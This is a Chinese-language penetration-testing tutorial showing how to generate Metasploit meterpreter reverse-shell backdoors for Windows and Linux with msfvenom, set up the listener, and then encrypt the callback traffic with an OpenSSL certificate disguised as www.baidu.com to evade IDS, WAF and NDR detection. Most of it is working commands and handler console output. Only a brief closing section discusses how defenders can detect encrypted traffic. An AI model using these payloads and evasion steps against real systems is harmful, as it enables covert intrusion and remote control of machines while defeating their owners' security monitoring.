MSF監聽之加密流量下的后門上線
0x00寫在前面
本次測試僅供學習使用,如若非法他用,與平臺和本文作者無關,需自行負責!
0x01背景描述
在攻防對抗過程中的橫行滲透,經常需要msf進行攻擊操作,如果msf上線shell過程中流量是明文傳輸,那么內網環境中已有的安全檢測產品(WAF/IPS/IDS/NDR/HIDS)等防護軟件會進行流量檢測,明文傳輸帶有明顯的攻擊特征。很快會被檢測發現,防守方對攻擊流量回溯分析,就會阻斷攻擊行為。
0x02明文流量
win環境
1.生成上線后門
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.86.2 LPORT=12377 -f exe > yun.exe

2.設置msf監聽

3.成功上線shell
將生成的后門程序上傳到目標服務器進行執行。

后門上線

4.分析流量
通過Wireshark抓包分析流量,整個通信過程全部為明文傳輸
通信過程由受害主機發起

過濾tcp目的端口
tcp.dstport == 12377
追蹤tcp數據流

通過分析可以發現,該tcp連接由服務器端發起,傳輸數據為明文信息

Linux環境
1.生成上線后門
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.86.2 LPORT=12399 -f elf > yun.elf

2.設置msf監聽
msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcppayload => linux/x64/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 192.168.86.2lhost => 192.168.86.2msf5 exploit(multi/handler) > set lport 12399lport => 12399msf5 exploit(multi/handler) >

3.成功上線shell
將生成的后門程序上傳到目標服務器進行執行。

獲取meterpreter會話

4.分析流量
通過Wireshark抓包分析流量,整個通信過程全部為明文傳輸
通信過程由受害主機發起

過濾tcp目的端口
tcp.dstport == 12399
追蹤tcp數據流

通過分析可以發現,該tcp連接由服務器端發起,傳輸數據為明文信息


0x03加密流量(windows)
通過使用OpenSSL流量加密
1.生成OpenSSL證書
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509-subj "/C=UK/ST=London/L=London/O=Development/CN=www.baidu.com"-keyout www.baidu.com.key-out www.baidu.com.crt &&cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem &&rm -f www.baidu.com.key www.baidu.com.crt

2.使用證書生成后門
windows
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.86.2 LPORT=4433 PayloadUUIDTracking=true HandlerSSLCert=www.baidu.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f exe -o zui.exe

bat后門
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.86.2 LPORT=4433 PayloadUUIDTracking=true HandlerSSLCert=www.baidu.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f exe -o zui.bat

3.設置msf監聽
msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_winhttpspayload => windows/x64/meterpreter/reverse_winhttpsmsf5 exploit(multi/handler) > set lhost 192.168.86.2lhost => 192.168.86.2msf5 exploit(multi/handler) > set lport 4433lport => 4433msf5 exploit(multi/handler) > set handlersslcert www.baidu.com.pemhandlersslcert => www.baidu.com.pemmsf5 exploit(multi/handler) > set stagerverifysslcert true

3.成功上線shell
注意:windows 7環境下通過OpenSSL流量加密無法上線成功!
以下是運行結果

連接超時無法上線

更換window10 環境,成功上線
執行程序,獲取會話

4.分析流量
通過Wireshark抓包分析流量,整個通信過程全部為加密流量傳輸
通信過程由受害主機發起

過濾tcp目的端口
tcp.dstport == 4433
追蹤tcp數據流

通過分析可以發現,該tcp連接由服務器端發起,傳輸數據為加密信息


0x04思考
安全的本質就是對抗!針對加密流量的檢測,傳統的基于特征的檢測已經無法滿足攻擊發展的趨勢,只有通過不斷引入新的檢測思考才能解決。
加密流量的檢測,業界主流有2種方法:
第一種是將加密流量進行解密并進行檢測,這需要安全檢測設備充當通信雙方的代理或者由客戶提供單獨的解密證書(只能針對該證書對應的加密流量進行解碼)
第二種是在不解密的情況下進行安全檢測,這通常會采用(AI)機器學習的方法。
當然對攻擊行為的感知,也可以通過威脅狩獵發現。